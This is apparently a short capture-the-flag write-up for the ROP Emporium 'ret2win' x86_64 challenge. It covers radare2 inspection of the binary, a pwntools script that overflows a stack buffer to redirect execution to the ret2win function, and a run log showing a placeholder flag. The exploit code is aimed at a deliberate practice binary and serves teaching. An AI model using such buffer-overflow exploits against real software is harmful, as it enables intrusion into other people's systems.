s main, VV to see what main function do. it seems nothing special in main function but call the function pwnme and print some strings. So we go to see what happends in the function pwnme.
s sym.pwnme, VV. In this function, we found the input will be put at var_20h(rbp-0x20).
let’s look at another function ret2win. s sym.ret2win, VV. we saw it will print the flag we want, so we know that our mission is to BOF the pwnme function’s stack and put the address of ret2win function to the return address of pwnme’s stack frame.
write the exploit script bellow.
1 2 3 4 5 6 7 8 9 10
from pwn import *
r = process('./ret2win') #r = remote('120.114.62.211', 6126)
payload = b'A'*40
r.sendline(payload + p64(0x00400756)) #if 64 bit ,or 32bit use p32
r.interactive()
run the script and we can get the flag.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
$ python3 exploit_ret2win.py [+] Starting local process './ret2win': pid 715 [*] Switching to interactive mode ret2win by ROP Emporium x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer! What could possibly go wrong? You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you! Well done! Here's your flag: ROPE{a_placeholder_32byte_flag!} [*] Got EOF while reading in interactive $